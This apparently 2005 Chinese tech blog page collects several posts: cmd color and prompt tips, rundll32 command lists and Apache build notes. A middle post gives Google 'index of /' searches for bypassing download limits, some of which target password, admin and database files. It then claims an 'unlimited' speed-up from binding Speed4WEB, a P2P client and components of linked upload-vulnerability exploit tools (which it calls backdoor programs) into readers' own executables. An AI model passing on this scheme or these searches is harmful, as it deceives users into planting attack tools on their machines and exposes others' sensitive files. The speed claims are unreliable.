“color”是Windows 2000及以上版本中特有的命令,主要功能就是用来改变命令行窗口的颜色。颜色属性由两个十六进制数字指定——第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:
0=黑色 8=灰色
1=蓝色 9=淡蓝色
2=绿色 A=淡绿色
3=湖蓝色 B=淡浅绿色
4=红色 C=淡红色
5=紫色 D=淡紫色
6=黄色 E=淡黄色
7=白色 F=亮白色
例如,“Color A9”是在绿色背景下产生亮蓝色。
提示:如果想恢复到初始状态,只需不带任何参数的运行一次color命令即可,这将会还原到启动时的颜色(黑底白字)。
三、颠覆你的提示符
如果你想使自己爱机的提示符像笔者的一样有个性(如图2),那么就得使用“prompt”命令了。格式如下:
prompt [括号内输入要替换的提示符]
特殊的符号不能直接输入,而必须用到指定代码:
$A & (短 and 符号)
$B | (管道)
$C ( (左括弧)
$D 当前日期
$E Escape code (ASCII 码 27)
$F ) (右括弧)
$G > (大于符号)
$H Backspace (擦除前一个字符)
$L < (小于符号)
$N 当前驱动器
$P 当前驱动器及路径
$Q = (等号)
$S (空格)
$T 当前时间
$V Windows XP 版本号
$_ 换行
$ $ (货币符号)
四、一劳永逸,让命令符酷起来
结合上述方法,装扮出来的命令提示符界面当然“眩目夺人”。但是每次想要SHOW的时候,都要重新输入麻烦命令才行,有没有一个一劳永逸的办法呢?没有办不到的,只有想不到的,方法如下:
“开始”-“运行”-“Regedit”,回车进入注册表编辑器,依次展开HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor分支。在右侧窗口中新建一名为“AutoRun”的字符串值,将其数值设为“prompt <$t $p$Q$$D$V$L$B$g>”,“<$t $p$Q$$D$V$L$B$g>”表示你想用的参数形式。例如我们想把命令行提示符变为:“(当前时间)俺叫你输啥就输啥>”的形式,就输入“prompt $t 俺叫你输啥就输啥$g”。设置完毕后退出注册表即生效。
附:command和cmd的区别:Windows 2000/XP提供了cmd.exe和command.com,cmd.exe是Windows NT命令行接口,它不是一个DOS窗口,而command.com是一个16位的DOS应用程序,它用于支持老的DOS应用程序。就用户来说,这两个命令有惊人的相似之处,这是因为用户在command.com中输入的命令有很大一部分要送到cmd.exe中运行。如果用户运行command.com,用户会在任务管理器中看到一个cmd.exe也在运行。
posted @ 2005-07-08 12:31 一天一点爱恋 阅读(221) | 评论 (0)编辑 收藏
 
搜索Google大家都用过吧?我们正是利用它强劲的搜索功能来突破封锁下载,Google搜索和限制下载有什么关系,没可能实现吧?不要不相信哦,往下看哦!

http://www.google.com/intl/zh-CN/
http://www.3721.com/
http://www.baidu.com/

首先打开Google,在关键词输入框中输入"index of/"inurl:lib(双引号为英文状态下),选择“搜索简体中文网页”选项,回车搜索,得到了一些网页,不要以为这是一些普通的页面,其实它们是一些图书网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?

使用其他关键字可能得到更多的资源:

在搜索框上输入:"index of /"cnki

再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口!

在搜索框上输入:"index of /" ppt

再按搜索你就可以突破网站入口下载powerpint作品!

在搜索框上输入:"index of /"mp3

再按搜索你就可以突破网站入口下载mp3、rm等影视作品!

在搜索框上输入:"index of /"swf

再按搜索你就可以突破网站入口下载flash作品!

在搜索框上输入:"index of /"加上要下载的软件名

再按搜索你就可以突破网站入口下载软件!

在搜索框上输入:"index of /"AVI

再按搜索你就可以突破网站入口下载AVI视频

你会找到什么呢?同理,把AVI换为MPEG看看又会找到什么呢?呵呵!接下来不用我再教了吧?那就试一下你的手气吧!

"index of /" RMVB
"index of /" WMA
"index of /" MTV
"index of /" MPEG
以下是百度搜索排名
1. index of mpeg4
3. index of mp3
4. index of cnki
5. index of rmvb
6. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13. index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19. index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. index of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34. index of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download

到这里,大家也许都明白了,其实就是"index of /"这个关键词在起的作用,使用它可以直接进入网站首页下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制,作到了突破限制下载。

怎么回事?点鼠标右键直接用网际快车下不了,都是网页,链接地址是乱码。别灰心懈气,可以在新窗口中打开页面中的超链接,真实地址不就出来了。下面就用马克思ie(mxie)这个超级P2P共享资源搜索引擎帮你搞定收费网站。
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe

马克思ie(mxie)
软件大小:3307KB
软件语言:简体中文
软件类别:国产软件/免费版/搜寻引擎
运行环境:Win9x/Me/NT/2000/XP
马克思ie(mxie)是一个拥有网页浏览器功能的超级P2P搜索引擎,完全免费!各种音乐、电影、动漫、小说、图片等娱乐文件,一切你想得到的都可以找到!采用目前最为先进的多点P2P技术,搜寻到的就能下载到,绝对无死链!神奇的“越多人下载越高速”特性,充分挖掘你的带宽潜力,保证高速!独家装备了强力防火墙穿透利器,即使在严密防护的企业防火墙后也能通行自如。
完全免费,永远免费!
完全免费!永远免费!马克思ie(mxie)就是要把免费进行到底!奉行网络上的马克思主义,打造影音娱乐共产帝国!

编者自述:此方法采用独特技巧,集成了网络加速及穿透防火墙的P2P共享技术,能够无限提升你的网速!----高手自然一点就透,对于菜鸟本人也不想浪费唇舌多作解释,以下跟着洒家向前冲:

先下一个exe文件合成器“绿色分割{X} V3.1”:
http://www.pcdog.com/soft/20205.htm
http://www1.pcdog.com/down/Split3.1.rar

解压到指定文件夹。再下一个加速软件“speed4web”:
Speed4WEB 可以帮忙你把浏览器的速度提升到原来的300%!程序使用简单,提交小巧!功能强大!
Speed4WEB V2.2.3.2 汉化版:
http://www.yqdown.com/soft/675.htm
http://km.yqdown.com:8989/UUAuth/wl...ed4WEB_v2.H.rar
http://www2.pcdog.com/down4/HB_Speed4WEBV2.2.3.2.exe
http://www.pcdog.com/down2/HB_Speed4WEBV2.2.3.2.exe

解压安装后点击桌面图标打开,在所有选项前均打勾(除了“总在顶部”),最小化令其运行。
点桌面图标右键,点属性,点查找目标,找出其真实应用文件“Speed4WEB.exe”,将它复制到指定文件夹。

选择你最想加速的文件***:点桌面图标右键,点属性,点查找目标,找出其真实应用文件“***.exe”,复制到指定文件夹。

双击打开绿色分割,点“合并”,点“合并任意文件”,点+号依次选择“***.exe、Speed4WEB.exe”,点“设置”,点“正常、分割完成后生成合并exe文件”,点“保存文件”选择***文件原路径,重命名为“***.exe”,点开始即可替换原“***.exe”。

注意:合并过程中***软件不可使用,否则无法成功替换原***文件!也不可以关闭Speed4WEB!

再下一个共享资源搜索利器“马克思ieV.0.4.0.0 最新版--
马克思ie简体中文网址:http://cn.mxie.com/down.html
http://cn.mxie.com/mxie0400Setup_cn.exe

解压双击安装后,以“马克思ie(mxie)”为例,下载后重命名为“马克思ie(mxie).exe”即可直接双击安装,点桌面上刚刚生成的”马克思ie(mxie)”图标右键,点属性,点查找目标,找出其真实应用文件“mxie.exe”,复制到指定文件夹。下面按步就搬即可。

以上方法经本人测试,适合于各式各样五花八门的下载工具、游戏、浏览器以及其它一切与网络相关的软件。----这种合成的软件同时运行的越多,网速愈快!

每个人上网的方式与宽带限制都不一样,有时候是电信局封了BT端口或用了扫描仪限制下载流量,请恕本人也无能为力了!用过马克思ie的朋友仍然嫌慢的话,请打上下面的补丁

最新上传漏洞通用工具 V1.0
http://soft.sq88.com/soft/537.htm
http://download.sq88.com/hk/upld.rar

动网下载中心上传漏洞利用工具
http://soft.sq88.com/soft/419.htm
http://download.sq88.com/hk/dvup.rar

任意下载其中一个后门程序,解压后即可见其中的两个ActiveX控件“MSINET.OCX、MSWINSCK.OCX”,然后再用绿色分割合并即可。

好了,废话少说。觉得有用请顶一下,并帮我多多转贴,别小心眼偷懒呀!
当网上有半数人熟悉此法时,估计收费网站也要破产了!
posted @ 2005-07-08 12:26 一天一点爱恋 阅读(318) | 评论 (1)编辑 收藏
 
winexec(Pchar('StrCommand'),sw_Show);
其中"StrCommand"代表以下命令之一(使用Windows中的运行不要加引号):
"rundll32 shell32,Control_RunDLL" - 运行控制面板
"rundll32 shell32,OpenAs_RunDLL" - 打开"打开方式"窗口
"rundll32 shell32,ShellAboutA Info-Box" - 打开"关于"窗口
"rundll32 shell32,Control_RunDLL desk.cpl" - 打开"显示属性"窗口
"rundll32 user,cascadechildwindows" - 层叠全部窗口
"rundll32 user,tilechildwindows" - 最小化所有的子窗口
"rundll32 user,repaintscreen" - 刷新桌面
"rundll32 shell,shellexecute Explorer" - 重新运行Windows Explorer
"rundll32 keyboard,disable" - 锁写键盘
"rundll32 mouse,disable" - 让鼠标失效
"rundll32 user,swapmousebutton" - 交换鼠标按钮
"rundll32 user,setcursorpos" - 设置鼠标位置为(0,0)
"rundll32 user,wnetconnectdialog" - 打开"映射网络驱动器"窗口
"rundll32 user,wnetdisconnectdialog" - 打开"断开网络驱动器"窗口
"rundll32 user,disableoemlayer" - 显示BSOD窗口, (BSOD) = Blue Screen Of Death, 即蓝屏
"rundll32 diskcopy,DiskCopyRunDll" - 打开磁盘复制窗口
"rundll32 rnaui.dll,RnaWizard" - 运行"Internet连接向导", 如果加上参数"/1"则为silent模式
"rundll32 shell32,SHFormatDrive" - 打开"格式化磁盘(A)"窗口
"rundll32 shell32,SHExitWindowsEx -1" - 冷启动Windows Explorer
"rundll32 shell32,SHExitWindowsEx 1" - 关机
"rundll32 shell32,SHExitWindowsEx 0" - 退当前用户
"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重启
"rundll32 krnl386.exe,exitkernel" - 强行退出Windows 9x(无确认)
"rundll rnaui.dll,RnaDial "MyConnect" - 运行"网络连接"对话框
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 选择打印机和打印测试页
"rundll32 user,setcaretblinktime" - 设置光标闪烁速度
"rundll32 user, setdoubleclicktime" - 测试鼠标双击速度
"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP设备
 控制面板中的各项功能

 winexec('rundll32.exe shell32.dll, Control_RunDLL', 9);
 {辅助选项 属性-键盘}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 1', 9);
 {辅助选项 属性-声音}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 2', 9);
 {辅助选项 属性-显示}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 3', 9);
 {辅助选项 属性-鼠标}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 4', 9);
 {辅助选项 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL access.cpl, 5', 9);
 {添加/删除程序 属性-安装/卸载}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 1', 9);
 {添加/删除程序 属性-Windows安装程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 2', 9);
 {添加/删除程序 属性-启动盘}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Appwiz.cpl, 3', 9);
 {显示 属性-背景}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 0', 9); 
 {显示 属性-屏幕保护程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 1', 9);
 {显示 属性-外观}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 2', 9);
 {显示 属性-设置}
 winexec('rundll32.exe shell32.dll, Control_RunDLL desk.cpl, 3', 9);
 {Internet 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 0', 9);
 {Internet 属性-安全}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 1', 9);
 {Internet 属性-内容}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 2', 9);
 {Internet 属性-连接}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 3', 9);
 {Internet 属性-程序}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 4', 9);
 {Internet 属性-高级}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Inetcpl.cpl, 5', 9);
 {区域设置 属性-区域设置}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 0', 9);
 {区域设置 属性-数字}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 1', 9);
 {区域设置 属性-货币}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 2', 9);
 {区域设置 属性-时间}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 3', 9);
 {区域设置 属性-日期}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Intl.cpl, 4', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 0', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Joy.cpl, 1', 9);
 {鼠标 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Main.cpl', 9);
 {多媒体 属性-音频}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 0', 9);
 {多媒体 属性-视频}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 1', 9);
 {多媒体 属性-MIDI}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 2', 9);
 {多媒体 属性-CD音乐}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 3', 9);
 {多媒体 属性-设备}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Mmsys.cpl, 4', 9);
 {调制解调器 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Modem.cpl', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Netcpl.cpl', 9);
 {密码 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Password.cpl', 9);
 {扫描仪与数字相机 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sticpl.cpl', 9);
 {系统 属性-常规}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 0', 9);
 {系统 属性-设备管理器}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 1', 9);
 {系统 属性-硬件配置文件}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 2', 9);
 {系统 属性-性能}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Sysdm.cpl, 3', 9);
 {日期/时间 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL timedate.cpl', 9);
 {电源管理 属性}
 winexec('rundll32.exe shell32.dll, Control_RunDLL Powercfg.cpl', 9);
 
 winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
关于调用后的判断处理建议:
先声明一个cardinal类型的变量RtnCardinal获取返回值进行判断如:
RtnCardinal := winexec('rundll32.exe shell32.dll, Control_RunDLL Telephon.cpl', 9);
 返回值 可能原因
 0 程序超出内存 
ERROR_BAD_FORMAT 程序为一个非法的Win32.EXE程序
ERROR_FILE_NOT_FOUND 指定文件没找到 
ERROR_PATH_NOT_FOUND 指定路径没找到

使用方法:
点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入"rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
  当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:
  RUNDLL.EXE ,,
  这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:/Program Files/目录,你要把这个路径改成c:/Progra~1/;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
  Shell “命令列”
  如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
  Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
  实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用:
  命令列: rundll32.exe shell32.dll,Control_RunDLL
  功能: 显示控制面板
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
  功能: 显示“控制面板-辅助选项-键盘”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
  功能: 显示“控制面板-辅助选项-声音”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
  功能: 显示“控制面板-辅助选项-显示”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
  功能: 显示“控制面板-辅助选项-滑鼠”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
  功能: 显示“控制面板-辅助选项-传统”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
  功能: 执行“控制面板-添加新硬体”向导。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
  功能: 执行“控制面板-添加新印表机”向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
  功能: 显示 “控制面板-添加/删除程式-安装/卸载” 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
  功能: 显示 “控制面板-添加/删除程式-安装Windows” 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
  功能: 显示 “控制面板-添加/删除程式-启动盘” 面板。
  命令列: rundll32.exe syncui.dll,Briefcase_Create
  功能: 在桌面上建立一个新的“我的公文包”。
  命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
  功能: 显示复制软碟视窗
  命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
  功能: 显示“建立快捷方式”的对话框,所建立的快捷方式的位置由%1参数决定。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
  功能: 显示“日期与时间”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
  功能: 显示“时区”选项视窗。
  命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
  功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。
  命令列: rundll32.exe rnaui.dll,RnaWizard
  功能: 显示“新建拨号连接”向导的视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
  功能: 显示“显示属性-背景”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
  功能: 显示“显示属性-萤屏保护”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
  功能: 显示“显示属性-外观”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
  功能: 显示显示“显示属性-属性”选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
  功能: 显示Windows的“字体”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 同样是显示Windows的“字体”档案夹。
  命令列: rundll32.exe shell32.dll,SHformatDrive
  功能: 显示格式化软碟对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
  功能: 显示“控制面板-游戏控制器-一般”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
  功能: 显示“控制面板-游戏控制器-进阶”选项视窗。
  命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
  功能: 列印HTML文档。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
  功能: 显示Microsoft Exchange一般选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
  功能: 显示“控制面板-滑鼠” 选项 。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
  功能: 显示 “控制面板-键盘属性-速度”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
  功能: 显示 “控制面板-键盘属性-语言”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
  功能: 显示Windows“印表机”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 显示Windows“字体”档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
  功能: 显示“控制面板-输入法属性-输入法”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
  功能: 执行“添加新调制解调器”向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
  功能: 显示“控制面板-多媒体属性-音频”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
  功能: 显示“控制面板-多媒体属性-视频”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
  功能: 显示“控制面板-多媒体属性-MIDI”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
  功能: 显示“控制面板-多媒体属性-CD音乐”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
  功能: 显示“控制面板-多媒体属性-设备”属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
  功能: 显示“控制面板-声音”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
  功能: 显示“控制面板-网路”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
  功能: 显示ODBC32资料管理选项视窗。
  命令列: rundll32.exe shell32.dll,OpenAs_RunDLL
功能: 显示指定档案(drive:/path/filename)的“打开方式”对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
  功能: 显示“控制面板-密码”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
  功能: 显示“控制面板-电源管理属性”选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder
  功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
  功能: 显示“控制面板-区域设置属性-区域设置”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
  功能: 显示“控制面板-区域设置属性-数字”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
  功能: 显示“控制面板-区域设置属性-货币”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
  功能: 显示“控制面板-区域设置属性-时间”选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
  功能: 显示“控制面板-区域设置属性-日期”选项视窗。
  命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
  功能: 将指定的萤屏保护档案设置为Windows的屏保,并显示萤屏保护属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
  功能: 显示“控制面板-系统属性-传统”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
  功能: 显示“控制面板-系统属性-设备管理器”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
  功能: 显示“控制面板-系统属性-硬体配置档案”属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
  功能: 显示“控制面板-系统属性-性能”属性视窗。
  命令列: rundll32.exe user.exe,restartwindows
  功能: 强行关闭所有程式并重启机器。
  命令列: rundll32.exe user.exe,exitwindows
  功能: 强行关闭所有程式并关机。
  命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
  功能: 显示“拨号属性”选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
  功能: 显示“桌面主旨”选项面板
  当然,不止是VisualBasic,象Delphi.VisualC++等其他程式设计语言也可以通过呼叫外部命令的方法来使用Rundll的这些功能,具体方法这里就不再详细叙述了。灵活的使用Rundll,一定会使你的程式设计轻轻松松,达到事半功倍的效果!

巧用Rundll32安装和卸载Windows程序
  在Windows系统中安装和卸载程序是件非常容易的事情,一般用户通过安装和卸载程序向导就能很轻松地完成。但安装和卸载Windows程序还有些鲜为人知的小技巧,使用Rundll32命令安装和卸载Windows程序就是其中之一,可能你从来还没接触过,下面我们就一起领略它的神奇功能吧!

  提示:Rundll32.exe是 Windows系统提供的一个命令,
它用来调用32位的DLL函数(16位的DLL文件用Rundll.exe来调用。DLL文件是Windows的基础,所有的API函数都是在DLL中实现的,它不能独立运行,一般由进程加载并调用,运行DLL文件最简单的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 动态链接库名 函数名 参数名”。

  1.卸载微软Java虚拟机

  在Windows系统中,要想IE浏览器执行包含Java小程序的网页,必须安装微软Java虚拟机(MSJVM),Windows 98/2000已经捆绑了MSJVM,Windows XP/2003中虽然已经剥离了微软Java虚拟机,但还是可以手工安装。不过,有个现实我们不得不面对:由于微软和SUN公司的明争暗斗,微软已经停止对MSJVM的开发,因此很多用户改用SUN公司提供的Java虚拟机。但微软没有提供MSJVM的卸载工具,使用Rundll32命令,我们可以轻松卸载MSJVM。

  单击“开始→运行”命令,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回车后系统会打开“Microsoft VM uninstall”对话框,单击“是(Y)”按钮后,系统就会开始卸载微软Java虚拟机,卸载完成后需要重新启动系统。

  接下来删除“%systemroot%”(即Windows的安装目录,Windows 2000系统为 Winnt目录,Windows XP/2003为Windows目录)下的Java文件夹;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打开注册表编辑器,依次展开[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,删除这两个分支下的所有子键。

  提示:以上方法不适用Windows 98系统。

  2.重新安装Windows XP自带的IE6.0

  Windows系统的IE浏览器漏洞很多,最容易出现问题。有时无法解决,就只能重新安装了。使用Rundll32命令可以很轻松地完成重新安装工作。我们以重新安装Windows XP中的IE6.0为例:

  首先将Windows XP光盘插入光驱,然后单击“开始→运行”命令,在“运行”对话框中输入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回车后系统会打开安装进程对话框,开始重新安装IE6.0。

  提示:如果你的Windows XP系统不是安装在C盘,请将 “C\Windows\Inf\Ie.inf” 修改为“%systemroot%\inf\ie.inf”。

  3.卸载Windows Messenger

  卸载Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比较复杂,使用Rundll32命令能很轻松完成卸载:

  首先要确保已经关闭了Outlook和IE等Windows自带的组件,然后单击“开始→运行”,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回车后系统会打开一个卸载对话框,单击“是(Y)”按钮后,系统就开始卸载Windows Messenger 程序。

  以上只是简单介绍如何使用Rundll32命令卸载和安装Windows程序的几个实例,还有很多Windows程序的安装和卸载可以使用此方法,就不再详细介绍了,请大家慢慢体会。

转载(http://blog.china-pub.com/more.asp?name=anstan&id=11612)
posted @ 2005-07-08 12:21 一天一点爱恋 阅读(174) | 评论 (0)编辑 收藏
 
从简化安装==>性能调优==>方便维护的角度,讨论WEB服务的规划==>HTTPD安装/应用模块配置==>升级/维护等过程。
让APACHE的升级和PHP RESIN等应用模块的升级完全互不影响。

摘要:

WEB应用容量规划:根据硬件配置和WEB应用的特点进行WEB服务的规划及一些简单的估算公式;
APACHE安装过程:apache的通用的简化安装选项,方便以后的应用的模块化配置;
修改 HARD_SERVER_LIMIT:
vi /path/to/apache_src/src/include/httpd.h
#define HARD_SERVER_LIMIT 2560 <===将原来的 HARD_SERVER_LIMIT 256 后面加个“0”
apache编译:
/path/to/apache_src/configure --prefix=/another_driver/apache --enable-shared=max --enable-module=most
可选应用模块/工具的安装:php resin mod_gzip mod_expire及各个模块之间的配合;
PHP安装:
/path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --enable-track-vars --with-other-modules-you-need
mod_resin安装:
/path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs
Mod_gzip安装:
/path/to/apache/bin/apxs -i -a -c mod_gzip.c
工具:cronolog安装:http://www.cronolog.org
升级/维护:看看通用和模块化的安装过程如何简化了日常的升级/维护工作;
按照以上的方法:系统管理员和应用管理员的职责可以清楚的分开,互相独立。
系统安装:系统管理员的职责就是安装系统=>安装好一台可以适应任何情况的APACHE,然后COLON,
应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。
系统升级:系统管理员:升级系统/升级APACHE
应用升级:系统管理员:升级应用模块
具体的说明:

WEB应用的容量规划

APACHE主要是一个内存消耗型的服务应用,我个人总结的经验公式:
apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2
apache_max_process = apache_max_process_with_good_perfermance * 1.5

